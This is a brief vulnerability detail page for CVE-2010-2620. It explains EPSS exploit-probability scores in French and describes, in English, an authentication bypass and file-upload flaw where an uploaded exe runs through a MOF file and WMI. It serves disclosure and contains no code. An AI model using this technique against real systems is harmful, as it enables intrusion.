CVE-2010-2620 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

The software contains an authentication bypass vulnerability and a arbitrary file upload vulnerability that allows a remote attacker to write arbitrary files to the file system as long as there is at least one user who has permission. Code execution can be achieved by first uploading the payload to the remote machine as an exe file, and then upload another mof file, which enables WMI (Management Instrumentation service) to execute the uploaded payload.
